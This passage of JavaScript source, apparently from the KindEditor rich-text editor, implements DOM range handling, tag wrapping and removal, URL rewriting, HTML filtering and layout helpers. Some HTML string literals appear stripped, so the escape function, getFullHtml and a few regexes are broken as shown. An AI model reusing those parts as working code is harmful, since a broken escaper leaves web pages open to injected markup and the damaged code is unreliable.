KE.util.createRange(doc); rangeA.selectNode(nodeA); if (how == 'START_TO_START' || how == 'START_TO_END') rangeA.collapse(true); else rangeA.collapse(false); var rangeB = KE.util.createRange(doc); rangeB.selectNode(nodeB); if (how == 'START_TO_START' || how == 'END_TO_START') rangeB.collapse(true); else rangeB.collapse(false); if (rangeA.compareBoundaryPoints(Range.START_TO_START, rangeB) > 0) { cmp = 1; } else if (rangeA.compareBoundaryPoints(Range.START_TO_START, rangeB) == 0) { if (posA > posB) cmp = 1; else if (posA == posB) cmp = 0; else cmp = -1; } else { cmp = -1; } } return cmp; } if (how == 'START_TO_START') return compareNodes(this.startNode, this.startPos, range.startNode, range.startPos); if (how == 'START_TO_END') return compareNodes(this.startNode, this.startPos, range.endNode, range.endPos); if (how == 'END_TO_START') return compareNodes(this.endNode, this.endPos, range.startNode, range.startPos); if (how == 'END_TO_END') return compareNodes(this.endNode, this.endPos, range.endNode, range.endPos); }; this.collapsed = function() { return (this.startNode === this.endNode && this.startPos === this.endPos); }; this.collapse = function(toStart) { if (toStart) { this.setEnd(this.startNode, this.startPos); } else { this.setStart(this.endNode, this.endPos); } }; this.setTextStart = function(node, pos) { var textNode = node; KE.eachNode(node, function(n) { if (KE.util.getNodeType(n) == 3 && n.nodeValue.length > 0 || KE.util.getNodeType(n) == 88) { textNode = n; pos = 0; return false; } return true; }); this.setStart(textNode, pos); }; this.setStart = function(node, pos) { this.startNode = node; this.startPos = pos; if (this.endNode === null) { this.endNode = node; this.endPos = pos; } }; this.setTextEnd = function(node, pos) { var textNode = node; KE.eachNode(node, function(n) { if (KE.util.getNodeType(n) == 3 && n.nodeValue.length > 0 || KE.util.getNodeType(n) == 88) { textNode = n; pos = KE.util.getNodeType(n) == 3 ? n.nodeValue.length : 0; } return true; }); this.setEnd(textNode, pos); }; this.setEnd = function(node, pos) { this.endNode = node; this.endPos = pos; if (this.startNode === null) { this.startNode = node; this.startPos = pos; } }; this.selectNode = function(node) { this.setStart(node, 0); this.setEnd(node, node.nodeType == 1 ? 0 : node.nodeValue.length); }; this.selectTextNode = function(node) { this.setTextStart(node, 0); this.setTextEnd(node, node.nodeType == 1 ? 0 : node.nodeValue.length); }; this.extractContents = function(isDelete) { isDelete = (isDelete === undefined) ? true : isDelete; var thisRange = this; var startNode = this.startNode; var startPos = this.startPos; var endNode = this.endNode; var endPos = this.endPos; var extractTextNode = function(node, startPos, endPos) { var length = node.nodeValue.length; var cloneNode = node.cloneNode(true); var centerNode = cloneNode.splitText(startPos); centerNode.splitText(endPos - startPos); if (isDelete) { var center = node; if (startPos > 0) center = node.splitText(startPos); if (endPos < length) center.splitText(endPos - startPos); center.parentNode.removeChild(center); } return centerNode; }; var noEndTagHash = KE.util.arrayToHash(KE.setting.noEndTags); var isStarted = false; var isEnd = false; var extractNodes = function(parent, frag) { if (KE.util.getNodeType(parent) != 1) return true; var node = parent.firstChild; while (node) { if (node == startNode) isStarted = true; if (node == endNode) isEnd = true; var nextNode = node.nextSibling; var type = node.nodeType; if (type == 1) { var range = new KE.range(doc); range.selectNode(node); var cmp = range.comparePoints('END_TO_END', thisRange); if (isStarted && (cmp < 0 || (cmp == 0 && noEndTagHash[node.nodeName.toLowerCase()] !== undefined))) { var cloneNode = node.cloneNode(true); frag.appendChild(cloneNode); if (isDelete) { node.parentNode.removeChild(node); } } else { var childFlag = node.cloneNode(false); if (noEndTagHash[childFlag.nodeName.toLowerCase()] === undefined) { frag.appendChild(childFlag); if (!extractNodes(node, childFlag)) return false; } } } else if (type == 3) { if (isStarted) { var textNode; if (node == startNode && node == endNode) { textNode = extractTextNode(node, startPos, endPos); frag.appendChild(textNode); return false; } else if (node == startNode) { textNode = extractTextNode(node, startPos, node.nodeValue.length); frag.appendChild(textNode); } else if (node == endNode) { textNode = extractTextNode(node, 0, endPos); frag.appendChild(textNode); return false; } else { textNode = extractTextNode(node, 0, node.nodeValue.length); frag.appendChild(textNode); } } } node = nextNode; if (isEnd) return false; } if (frag.innerHTML.replace(/<.*?>/g, '') === '' && frag.parentNode) { frag.parentNode.removeChild(frag); } return true; } var parentNode = this.getParentElement(); var docFrag = parentNode.cloneNode(false); extractNodes(parentNode, docFrag); return docFrag; }; this.cloneContents = function() { return this.extractContents(false); }; this.getText = function() { var html = this.cloneContents().innerHTML; return html.replace(/<.*?>/g, ""); }; }; KE.cmd = function(id) { this.doc = KE.g[id].iframeDoc; this.keSel = KE.g[id].keSel; this.keRange = KE.g[id].keRange; this.mergeAttributes = function(el, attr) { for (var i = 0, len = attr.length; i < len; i++) { KE.each(attr[i], function(key, value) { if (key.charAt(0) == '.') { var jsKey = KE.util.getJsKey(key.substr(1)); el.style[jsKey] = value; } else { if (KE.browser.IE && KE.browser.VERSION < 8 && key == 'class') key = 'className'; el.setAttribute(key, value); } }); } return el; }; this.wrapTextNode = function(node, startPos, endPos, element, attributes) { var length = node.nodeValue.length; var isFull = (startPos == 0 && endPos == length); var range = new KE.range(this.doc); range.selectTextNode(node.parentNode); if (isFull && node.parentNode.tagName == element.tagName && range.comparePoints('END_TO_END', this.keRange) <= 0 && range.comparePoints('START_TO_START', this.keRange) >= 0) { this.mergeAttributes(node.parentNode, attributes); return node; } else { var el = element.cloneNode(true); if (isFull) { var cloneNode = node.cloneNode(true); el.appendChild(cloneNode); node.parentNode.replaceChild(el, node); return cloneNode; } else { var centerNode = node; if (startPos < endPos) { if (startPos > 0) centerNode = node.splitText(startPos); if (endPos < length) centerNode.splitText(endPos - startPos); var cloneNode = centerNode.cloneNode(true); el.appendChild(cloneNode); centerNode.parentNode.replaceChild(el, centerNode); return cloneNode; } else { if (startPos < length) { centerNode = node.splitText(startPos); centerNode.parentNode.insertBefore(el, centerNode); } else { if (centerNode.nextSibling) { centerNode.parentNode.insertBefore(el, centerNode.nextSibling); } else { centerNode.parentNode.appendChild(el); } } return el; } } } }; this.wrap = function(tagName, attributes) { attributes = attributes || []; var self = this; this.keSel.focus(); var element = KE.$$(tagName, this.doc); this.mergeAttributes(element, attributes); var keRange = this.keRange; var startNode = keRange.startNode; var startPos = keRange.startPos; var endNode = keRange.endNode; var endPos = keRange.endPos; var parentNode = keRange.getParentElement(); if (KE.util.inMarquee(parentNode)) return; var isStarted = false; KE.eachNode(parentNode, function(node) { if (node == startNode) isStarted = true; if (node.nodeType == 1) { if (node == startNode && node == endNode) { if (KE.util.inArray(node.tagName.toLowerCase(), KE.g[id].noEndTags)) { if (startPos > 0) node.parentNode.appendChild(element); else node.parentNode.insertBefore(element, node); } else { node.appendChild(element); } keRange.selectNode(element); return false; } else if (node == startNode) { keRange.setStart(node, 0); } else if (node == endNode) { keRange.setEnd(node, 0); return false; } } else if (node.nodeType == 3) { if (isStarted) { if (node == startNode && node == endNode) { var rangeNode = self.wrapTextNode(node, startPos, endPos, element, attributes); keRange.selectNode(rangeNode); return false; } else if (node == startNode) { var rangeNode = self.wrapTextNode(node, startPos, node.nodeValue.length, element, attributes); keRange.setStart(rangeNode, 0); } else if (node == endNode) { var rangeNode = self.wrapTextNode(node, 0, endPos, element, attributes); keRange.setEnd(rangeNode, rangeNode.nodeType == 1 ? 0 : rangeNode.nodeValue.length); return false; } else { self.wrapTextNode(node, 0, node.nodeValue.length, element, attributes); } } } return true; }); this.keSel.addRange(keRange); }; this.getTopParent = function(tagNames, node) { var parent = null; while (node) { node = node.parentNode; if (KE.util.inArray(node.tagName.toLowerCase(), tagNames)) { parent = node; } else { break; } } return parent; }; this.splitNodeParent = function(parent, node, pos) { var leftRange = new KE.range(this.doc); leftRange.selectNode(parent.firstChild); leftRange.setEnd(node, pos); var leftFrag = leftRange.extractContents(); parent.parentNode.insertBefore(leftFrag, parent); return {left : leftFrag, right : parent}; }; this.remove = function(tags) { var self = this; var keRange = this.keRange; var startNode = keRange.startNode; var startPos = keRange.startPos; var endNode = keRange.endNode; var endPos = keRange.endPos; this.keSel.focus(); if (KE.util.inMarquee(keRange.getParentElement())) return; var isCollapsed = (keRange.getText().replace(/\s+/g, '') === ''); if (isCollapsed && !KE.browser.IE) return; var tagNames = []; KE.each(tags, function(key, val) { if (key != '*') tagNames.push(key); }); var startParent = this.getTopParent(tagNames, startNode); var endParent = this.getTopParent(tagNames, endNode); if (startParent) { var startFrags = this.splitNodeParent(startParent, startNode, startPos); keRange.setStart(startFrags.right, 0); if (startNode == endNode && KE.util.getNodeTextLength(startFrags.right) > 0) { keRange.selectNode(startFrags.right); var range = new KE.range(this.doc); range.selectTextNode(startFrags.left); if (startPos > 0) endPos -= range.endNode.nodeValue.length; range.selectTextNode(startFrags.right); endNode = range.startNode; } } if (isCollapsed) { var node = keRange.startNode; if (node.nodeType == 1) { if (node.nodeName.toLowerCase() == 'br') return; keRange.selectNode(node); } else { return; } } else if (endParent) { var endFrags = this.splitNodeParent(endParent, endNode, endPos); keRange.setEnd(endFrags.left, 0); if (startParent == endParent) { keRange.setStart(endFrags.left, 0); } } var removeAttr = function(node, attr) { if (attr.charAt(0) == '.') { var jsKey = KE.util.getJsKey(attr.substr(1)); node.style[jsKey] = ''; } else { if (KE.browser.IE && KE.browser.VERSION < 8 && attr == 'class') attr = 'className'; node.removeAttribute(attr); } }; var nodeList = keRange.getNodeList(); keRange.setTextStart(keRange.startNode, keRange.startPos); keRange.setTextEnd(keRange.endNode, keRange.endPos); for (var i = 0, length = nodeList.length; i < length; i++) { var node = nodeList[i]; if (node.nodeType == 1) { var tagName = node.tagName.toLowerCase(); if (tags[tagName]) { var attr = tags[tagName]; for (var j = 0, len = attr.length; j < len; j++) { if (attr[j] == '*') { KE.util.removeParent(node); break; } else { removeAttr(node, attr[j]); var attrs = []; if (node.outerHTML) { attrHash = KE.util.getAttrList(node.outerHTML); KE.each(attrHash, function(key, val) { attrs.push({ name : key, value : val }); }); } else { attrs = node.attributes; } if (attrs.length == 0) { KE.util.removeParent(node); break; } else if (attrs[0].name == 'style' && attrs[0].value === '') { KE.util.removeParent(node); break; } } } } if (tags['*']) { var attr = tags['*']; for (var j = 0, len = attr.length; j < len; j++) { removeAttr(node, attr[j]); } } } } try { this.keSel.addRange(keRange); } catch(e) {} }; }; KE.format = { getUrl : function(url, mode, host, pathname) { if (!mode) return url; mode = mode.toLowerCase(); if (!KE.util.inArray(mode, ['absolute', 'relative', 'domain'])) return url; host = host || location.protocol + '//' + location.host; if (pathname === undefined) { var m = location.pathname.match(/^(\/.*)\//); pathname = m ? m[1] : ''; } var matches = url.match(/^(\w+:\/\/[^\/]*)/); if (matches) { if (matches[1] !== host) return url; } else if (url.match(/^\w+:/)) { return url; } var getRealPath = function(path) { var parts = path.split('/'); paths = []; for (var i = 0, len = parts.length; i < len; i++) { var part = parts[i]; if (part == '..') { if (paths.length > 0) paths.pop(); } else if (part !== '' && part != '.') { paths.push(part); } } return '/' + paths.join('/'); }; if (url.match(/^\//)) { url = host + getRealPath(url.substr(1)); } else if (!url.match(/^\w+:\/\//)) { url = host + getRealPath(pathname + '/' + url); } if (mode == 'relative') { var getRelativePath = function(path, depth) { if (url.substr(0, path.length) === path) { var arr = []; for (var i = 0; i < depth; i++) { arr.push('..'); } var prefix = '.'; if (arr.length > 0) prefix += '/' + arr.join('/'); if (pathname == '/') prefix += '/'; return prefix + url.substr(path.length); } else { var m = path.match(/^(.*)\//); if (m) { return getRelativePath(m[1], ++depth); } } }; url = getRelativePath(host + pathname, 0).substr(2); } else if (mode == 'absolute') { if (url.substr(0, host.length) === host) { url = url.substr(host.length); } } return url; }, getHtml : function(html, htmlTags, urlType) { var isFilter = htmlTags ? true : false; html = html.replace(/(]*>)([\s\S]*?)(<\/pre>)/ig, function($0, $1, $2, $3){ return $1 + $2.replace(/]*>/ig, '\n') + $3; }); var htmlTagHash = {}; var fontSizeHash = ['xx-small', 'x-small', 'small', 'medium', 'large', 'x-large', 'xx-large']; if (isFilter) { KE.each(htmlTags, function(key, val) { var arr = key.split(','); for (var i = 0, len = arr.length; i < len; i++) htmlTagHash[arr[i]] = KE.util.arrayToHash(val); }); } var noEndTagHash = KE.util.arrayToHash(KE.setting.noEndTags); var inlineTagHash = KE.util.arrayToHash(KE.setting.inlineTags); var endlineTagHash = KE.util.arrayToHash(KE.setting.endlineTags); var re = /((?:\r\n|\n|\r)*)<(\/)?([\w-:]+)((?:\s+|(?:\s+[\w-:]+)|(?:\s+[\w-:]+=[^\s"'<>]+)|(?:\s+[\w-:]+="[^"]*")|(?:\s+[\w-:]+='[^']*'))*)(\/)?>((?:\r\n|\n|\r)*)/g; html = html.replace(re, function($0, $1, $2, $3, $4, $5, $6) { var startNewline = $1 || ''; var startSlash = $2 || ''; var tagName = $3.toLowerCase(); var attr = $4 || ''; var endSlash = $5 ? ' ' + $5 : ''; var endNewline = $6 || ''; if (isFilter && typeof htmlTagHash[tagName] == "undefined") return ''; if (endSlash === '' && typeof noEndTagHash[tagName] != "undefined") endSlash = ' /'; if (tagName in endlineTagHash) { if (startSlash || endSlash) endNewline = '\n'; } else { if (endNewline) endNewline = ' '; } if (tagName !== 'script' && tagName !== 'style') { startNewline = ''; } if (tagName === 'font') { var style = {}, styleStr = ''; attr = attr.replace(/\s*([\w-:]+)=([^\s"'<>]+|"[^"]*"|'[^']*')/g, function($0, $1, $2) { var key = $1.toLowerCase(); var val = $2 || ''; val = val.replace(/^["']|["']$/g, ''); if (key === 'color') { style['color'] = val; return ' '; } if (key === 'size') { style['font-size'] = fontSizeHash[parseInt(val) - 1] || ''; return ' '; } if (key === 'face') { style['font-family'] = val; return ' '; } if (key === 'style') { styleStr = val; return ' '; } return $0; }); if (styleStr && !/;$/.test(styleStr)) styleStr += ';'; KE.each(style, function(key, val) { if (val !== '') { if (/\s/.test(val)) val = "'" + val + "'"; styleStr += key + ':' + val + ';'; } }); if (styleStr) attr += ' style="' + styleStr + '"'; tagName = 'span'; } if (attr !== '') { attr = attr.replace(/\s*([\w-:]+)=([^\s"'<>]+|"[^"]*"|'[^']*')/g, function($0, $1, $2) { var key = $1.toLowerCase(); var val = $2 || ''; if (isFilter) { if (key.charAt(0) === "." || (key !== "style" && typeof htmlTagHash[tagName][key] == "undefined")) return ' '; } if (val === '') { val = '""'; } else { if (key === "style") { val = val.substr(1, val.length - 2); val = val.replace(/\s*([^\s]+?)\s*:(.*?)(;|$)/g, function($0, $1, $2) { var k = $1.toLowerCase(); if (isFilter) { if (typeof htmlTagHash[tagName]['style'] == "undefined" && typeof htmlTagHash[tagName]['.' + k] == "undefined") return ''; } var v = KE.util.trim($2); v = KE.util.rgbToHex(v); return k + ':' + v + ';'; }); val = KE.util.trim(val); if (val === '') return ''; val = '"' + val + '"'; } if (KE.util.inArray(key, ['src', 'href'])) { if (val.charAt(0) === '"') { val = val.substr(1, val.length - 2); } val = KE.format.getUrl(val, urlType); } if (val.charAt(0) !== '"') val = '"' + val + '"'; } return ' ' + key + '=' + val + ' '; }); attr = attr.replace(/\s+(checked|selected|disabled|readonly)(\s+|$)/ig, function($0, $1) { var key = $1.toLowerCase(); if (isFilter) { if (key.charAt(0) === "." || typeof htmlTagHash[tagName][key] == "undefined") return ' '; } return ' ' + key + '="' + key + '"' + ' '; }); attr = KE.util.trim(attr); attr = attr.replace(/\s+/g, ' '); if (attr) attr = ' ' + attr; return startNewline + '<' + startSlash + tagName + attr + endSlash + '>' + endNewline; } else { return startNewline + '<' + startSlash + tagName + endSlash + '>' + endNewline; } }); if (!KE.browser.IE) { html = html.replace(/

\n<\/p>/ig, '

 

'); html = html.replace(/\n<\/p>/ig, '

'); } var reg = KE.setting.inlineTags.join('|'); var trimHtml = function(inHtml) { var outHtml = inHtml.replace(new RegExp('<(' + reg + ')[^>]*><\\/(' + reg + ')>', 'ig'), function($0, $1, $2) { if ($1 == $2) return ''; else return $0; }); if (inHtml !== outHtml) outHtml = trimHtml(outHtml); return outHtml; }; return KE.util.trim(trimHtml(html)); } }; KE.addClass = function(el, className) { if (typeof el == 'object') { var cls = el.className; if (cls) { if ((' ' + cls + ' ').indexOf(' ' + className + ' ') < 0) { el.className = cls + ' ' + className; } } else { el.className = className; } } else if (typeof el == 'string') { if (/\s+class\s*=/.test(el)) { el = el.replace(/(\s+class=["']?)([^"']*)(["']?[\s>])/, function($0, $1, $2, $3) { if ((' ' + $2 + ' ').indexOf(' ' + className + ' ') < 0) { return $2 === '' ? $1 + className + $3 : $1 + $2 + ' ' + className + $3; } else { return $0; } }); } else { el = el.substr(0, el.length - 1) + ' class="' + className + '">'; } } return el; }; KE.removeClass = function(el, className) { var cls = el.className || ''; cls = ' ' + cls + ' '; className = ' ' + className + ' '; if (cls.indexOf(className) >= 0) { cls = KE.util.trim(cls.replace(new RegExp(className, 'ig'), '')); if (cls === '') { var key = el.getAttribute('class') ? 'class' : 'className'; el.removeAttribute(key); } else { el.className = cls; } } return el; }; KE.getComputedStyle = function(el, key) { var doc = el.ownerDocument, win = doc.parentWindow || doc.defaultView, jsKey = KE.util.getJsKey(key), val = ''; if (win.getComputedStyle) { var style = win.getComputedStyle(el, null); val = style[jsKey] || style.getPropertyValue(key) || el.style[jsKey]; } else if (el.currentStyle) { val = el.currentStyle[jsKey] || el.style[jsKey]; } return val; }; KE.getCommonAncestor = function(keSel, tagName) { var range = keSel.range, keRange = keSel.keRange, startNode = keRange.startNode, endNode = keRange.endNode; if (KE.util.inArray(tagName, ['table', 'td', 'tr'])) { if (KE.browser.IE) { if (range.item) { if (range.item(0).nodeName.toLowerCase() === tagName) { startNode = endNode = range.item(0); } } else { var rangeA = range.duplicate(); rangeA.collapse(true); var rangeB = range.duplicate(); rangeB.collapse(false); startNode = rangeA.parentElement(); endNode = rangeB.parentElement(); } } else { var rangeA = range.cloneRange(); rangeA.collapse(true); var rangeB = range.cloneRange(); rangeB.collapse(false); startNode = rangeA.startContainer; endNode = rangeB.startContainer; } } function find(node) { while (node) { if (node.nodeType == 1) { if (node.tagName.toLowerCase() === tagName) return node; } node = node.parentNode; } return null; }; var start = find(startNode), end = find(endNode); if (start && end && start === end) { return start; } return null; }; KE.queryCommandValue = function(doc, cmd) { cmd = cmd.toLowerCase(); function commandValue() { var val = doc.queryCommandValue(cmd); if (typeof val !== 'string') val = ''; return val; } var val = ''; if (cmd === 'fontname') { val = commandValue(); val = val.replace(/['"]/g, ''); } else if (cmd === 'formatblock') { val = commandValue(); if (val === '') { var keSel = new KE.selection(doc); var el = KE.getCommonAncestor(keSel, 'h1'); if (!el) el = KE.getCommonAncestor(keSel, 'h2'); if (!el) el = KE.getCommonAncestor(keSel, 'h3'); if (!el) el = KE.getCommonAncestor(keSel, 'h4'); if (!el) el = KE.getCommonAncestor(keSel, 'p'); if (el) val = el.nodeName; } if (val === 'Normal') val = 'p'; } else if (cmd === 'fontsize') { var keSel = new KE.selection(doc); var el = KE.getCommonAncestor(keSel, 'span'); if (el) val = KE.getComputedStyle(el, 'font-size'); } else if (cmd === 'textcolor') { var keSel = new KE.selection(doc); var el = KE.getCommonAncestor(keSel, 'span'); if (el) val = KE.getComputedStyle(el, 'color'); val = KE.util.rgbToHex(val); if (val === '') val = 'default'; } else if (cmd === 'bgcolor') { var keSel = new KE.selection(doc); var el = KE.getCommonAncestor(keSel, 'span'); if (el) val = KE.getComputedStyle(el, 'background-color'); val = KE.util.rgbToHex(val); if (val === '') val = 'default'; } return val.toLowerCase(); }; KE.util = { getDocumentElement : function(doc) { doc = doc || document; return (doc.compatMode != "CSS1Compat") ? doc.body : doc.documentElement; }, getDocumentHeight : function(doc) { var el = this.getDocumentElement(doc); return Math.max(el.scrollHeight, el.clientHeight); }, getDocumentWidth : function(doc) { var el = this.getDocumentElement(doc); return Math.max(el.scrollWidth, el.clientWidth); }, createTable : function(doc) { var table = KE.$$('table', doc); table.cellPadding = 0; table.cellSpacing = 0; table.border = 0; return {table: table, cell: table.insertRow(0).insertCell(0)}; }, loadStyle : function(path) { var link = KE.$$('link'); link.setAttribute('type', 'text/css'); link.setAttribute('rel', 'stylesheet'); link.setAttribute('href', path); document.getElementsByTagName("head")[0].appendChild(link); }, getAttrList : function(tag) { var re = /\s+(?:([\w-:]+)|(?:([\w-:]+)=([\w-:]+))|(?:([\w-:]+)="([^"]*)")|(?:([\w-:]+)='([^']*)'))(?=(?:\s|\/|>)+)/g; var arr, key, val, list = {}; while ((arr = re.exec(tag))) { key = arr[1] || arr[2] || arr[4] || arr[6]; val = arr[1] || (arr[2] ? arr[3] : (arr[4] ? arr[5] : arr[7])); list[key] = val; } return list; }, inArray : function(str, arr) { for (var i = 0; i < arr.length; i++) {if (str == arr[i]) return true;} return false; }, trim : function(str) { return str.replace(/^\s+|\s+$/g, ""); }, getJsKey : function(key) { var arr = key.split('-'); key = ''; for (var i = 0, len = arr.length; i < len; i++) { key += (i > 0) ? arr[i].charAt(0).toUpperCase() + arr[i].substr(1) : arr[i]; } return key; }, arrayToHash : function(arr) { var hash = {}; for (var i = 0, len = arr.length; i < len; i++) hash[arr[i]] = 1; return hash; }, escape : function(str) { str = str.replace(/&/g, '&'); str = str.replace(//g, '>'); str = str.replace(/"/g, '"'); return str; }, unescape : function(str) { str = str.replace(/</g, '<'); str = str.replace(/>/g, '>'); str = str.replace(/"/g, '"'); str = str.replace(/&/g, '&'); return str; }, getScrollPos : function() { var x, y; if (KE.browser.IE || KE.browser.OPERA) { var el = this.getDocumentElement(); x = el.scrollLeft; y = el.scrollTop; } else { x = window.scrollX; y = window.scrollY; } return {x : x, y : y}; }, getElementPos : function(el) { var x = 0, y = 0; if (el.getBoundingClientRect) { var box = el.getBoundingClientRect(); var pos = this.getScrollPos(); x = box.left + pos.x; y = box.top + pos.y; } else { x = el.offsetLeft; y = el.offsetTop; var parent = el.offsetParent; while (parent) { x += parent.offsetLeft; y += parent.offsetTop; parent = parent.offsetParent; } } return {x : x, y : y}; }, getCoords : function(ev) { ev = ev || window.event; return { x : ev.clientX, y : ev.clientY }; }, setOpacity : function(el, opacity) { if (typeof el.style.opacity == "undefined") { el.style.filter = (opacity == 100) ? "" : "alpha(opacity=" + opacity + ")"; } else { el.style.opacity = (opacity == 100) ? "" : (opacity / 100); } }, getIframeDoc : function(iframe) { return iframe.contentDocument || iframe.contentWindow.document; }, rgbToHex : function(str) { function hex(s) { s = parseInt(s).toString(16); return s.length > 1 ? s : '0' + s; }; return str.replace(/rgb\s*?\(\s*?(\d+)\s*?,\s*?(\d+)\s*?,\s*?(\d+)\s*?\)/ig, function($0, $1, $2, $3) { return '#' + hex($1) + hex($2) + hex($3); } ); }, parseJson : function (text) { //extract JSON string var match; if ((match = /\{[\s\S]*\}|\[[\s\S]*\]/.exec(text))) { text = match[0]; } var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g; cx.lastIndex = 0; if (cx.test(text)) { text = text.replace(cx, function (a) { return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }); } if (/^[\],:{}\s]*$/. test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@'). replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']'). replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { return eval('(' + text + ')'); } throw 'JSON parse error'; }, createRange : function(doc) { return doc.createRange ? doc.createRange() : doc.body.createTextRange(); }, getNodeType : function(node) { return (node.nodeType == 1 && KE.util.inArray(node.tagName.toLowerCase(), KE.setting.noEndTags)) ? 88 : node.nodeType; }, inMarquee : function(node) { var n = node; while (n) { if (n.nodeName.toLowerCase() === 'marquee') return true; n = n.parentNode; } return false; }, moveToElementText : function (range, el) { if (!this.inMarquee(el)) range.moveToElementText(el); }, getNodeTextLength : function(node) { var type = KE.util.getNodeType(node); if (type == 1) { var html = node.innerHTML; return html.replace(/<.*?>/ig, "").length; } else if (type == 3) { return node.nodeValue.length; } }, getNodeStartRange : function(doc, node) { var range = KE.util.createRange(doc); var type = node.nodeType; if (type == 1) { KE.util.moveToElementText(range, node); return range; } else if (type == 3) { var offset = 0; var sibling = node.previousSibling; while (sibling) { if (sibling.nodeType == 1) { var nodeRange = KE.util.createRange(doc); KE.util.moveToElementText(nodeRange, sibling); range.setEndPoint('StartToEnd', nodeRange); range.moveStart('character', offset); return range; } else if (sibling.nodeType == 3) { offset += sibling.nodeValue.length; } sibling = sibling.previousSibling; } KE.util.moveToElementText(range, node.parentNode); range.moveStart('character', offset); return range; } }, removeParent : function(parent) { if (parent.hasChildNodes) { var node = parent.firstChild; while (node) { var nextNode = node.nextSibling; parent.parentNode.insertBefore(node, parent); node = nextNode; } } parent.parentNode.removeChild(parent); }, pluginLang : function(pluginName, doc) { KE.each(KE.lang.plugins[pluginName], function (key, val) { var span = KE.$('lang.' + key, doc); if (span) { span.parentNode.insertBefore(doc.createTextNode(val), span); span.parentNode.removeChild(span); } }); }, drag : function(id, mousedownObj, moveObj, func) { var g = KE.g[id]; mousedownObj.onmousedown = function(e) { var self = this; e = e || window.event; var pos = KE.util.getCoords(e); var objTop = parseInt(moveObj.style.top); var objLeft = parseInt(moveObj.style.left); var objWidth = moveObj.style.width; var objHeight = moveObj.style.height; if (objWidth.match(/%$/)) objWidth = moveObj.offsetWidth + 'px'; if (objHeight.match(/%$/)) objHeight = moveObj.offsetHeight + 'px'; objWidth = parseInt(objWidth); objHeight = parseInt(objHeight); var mouseTop = pos.y; var mouseLeft = pos.x; var scrollPos = KE.util.getScrollPos(); var scrollTop = scrollPos.y; var scrollLeft = scrollPos.x; var dragFlag = true; function moveListener(e) { if (dragFlag) { var pos = KE.util.getCoords(e); var scrollPos = KE.util.getScrollPos(); var top = parseInt(pos.y - mouseTop - scrollTop + scrollPos.y); var left = parseInt(pos.x - mouseLeft - scrollLeft + scrollPos.x); func(objTop, objLeft, objWidth, objHeight, top, left); } } var iframePos = KE.util.getElementPos(g.iframe); function iframeMoveListener(e) { if (dragFlag) { var pos = KE.util.getCoords(e, g.iframeDoc); var top = parseInt(iframePos.y + pos.y - mouseTop - scrollTop); var left = parseInt(iframePos.x + pos.x - mouseLeft - scrollLeft); func(objTop, objLeft, objWidth, objHeight, top, left); } } var selectListener = function() { return false; }; function upListener(e) { dragFlag = false; if (self.releaseCapture) self.releaseCapture(); KE.event.remove(document, 'mousemove', moveListener); KE.event.remove(document, 'mouseup', upListener); KE.event.remove(g.iframeDoc, 'mousemove', iframeMoveListener); KE.event.remove(g.iframeDoc, 'mouseup', upListener); KE.event.remove(document, 'selectstart', selectListener); KE.event.stop(e); return false; } KE.event.add(document, 'mousemove', moveListener); KE.event.add(document, 'mouseup', upListener); KE.event.add(g.iframeDoc, 'mousemove', iframeMoveListener); KE.event.add(g.iframeDoc, 'mouseup', upListener); KE.event.add(document, 'selectstart', selectListener); if (self.setCapture) self.setCapture(); KE.event.stop(e); return false; }; }, resize : function(id, width, height, isCheck, isResizeWidth) { isResizeWidth = (typeof isResizeWidth == "undefined") ? true : isResizeWidth; var g = KE.g[id]; if (!g.container) return; if (isCheck && (parseInt(width) <= g.minWidth || parseInt(height) <= g.minHeight)) return; if (isResizeWidth) g.container.style.width = width; if (KE.browser.IE) { //improve IE performance (issue #126) var temp = g.toolbarTable && g.toolbarTable.offsetHeight; } g.container.style.height = height; var diff = parseInt(height) - g.toolbarHeight - g.statusbarHeight; if (diff >= 0) { g.iframe.style.height = diff + 'px'; g.newTextarea.style.height = (((KE.browser.IE && KE.browser.VERSION < 8 || document.compatMode != 'CSS1Compat') && diff >= 2) ? diff - 2 : diff) + 'px'; } }, hideLoadingPage : function(id) { var stack = KE.g[id].dialogStack; var dialog = stack[stack.length - 1]; dialog.loading.style.display = 'none'; dialog.iframe.style.display = ''; }, showLoadingPage : function(id) { var stack = KE.g[id].dialogStack; var dialog = stack[stack.length - 1]; dialog.loading.style.display = ''; dialog.iframe.style.display = 'none'; }, setDefaultPlugin : function(id) { var items = [ 'selectall', 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'insertorderedlist', 'insertunorderedlist', 'indent', 'outdent', 'subscript', 'superscript', 'bold', 'italic', 'underline', 'strikethrough' ]; var shortcuts = { bold : 'B', italic : 'I', underline : 'U' }; for (var i = 0; i < items.length; i++) { var item = items[i], plugin = {}; if (item in shortcuts) { plugin.init = (function(item) { return function(id) { KE.event.ctrl(KE.g[id].iframeDoc, shortcuts[item], function(e) { KE.plugin[item].click(id); KE.util.focus(id); }, id); }; })(item); } plugin.click = (function(item) { return function(id) { KE.util.execCommand(id, item, null); }; })(item); KE.plugin[item] = plugin; } }, getFullHtml : function(id) { var html = ''; html += ''; html += ''; html += 'KindEditor'; html += ''; var cssPath = KE.g[id].cssPath; if (typeof cssPath == 'string') cssPath = [cssPath]; for (var i = 0, len = cssPath.length; i < len; i++) { if (cssPath[i] !== '') html += ''; } html += ''; html += ''; html += ''; return html; }, getMediaType : function(src) { if (src.match(/\.(rm|rmvb)(\?|$)/i)) return 'rm'; else if (src.match(/\.(swf|flv)(\?|$)/i)) return 'flash'; else return 'media'; }, getMediaImage : function(id, type, attrs) { var width = attrs.width; var height = attrs.height; type = type || this.getMediaType(attrs.src); var srcTag = this.getMediaEmbed(attrs); var style = ''; if (width > 0) style += 'width:' + width + 'px;'; if (height > 0) style += 'height:' + height + 'px;'; var className = 'ke-' + type; var html = ''; return html; }, getMediaEmbed : function(attrs) { var html = ']*>\s*$/ig, ''); html = html.replace(/^\s*

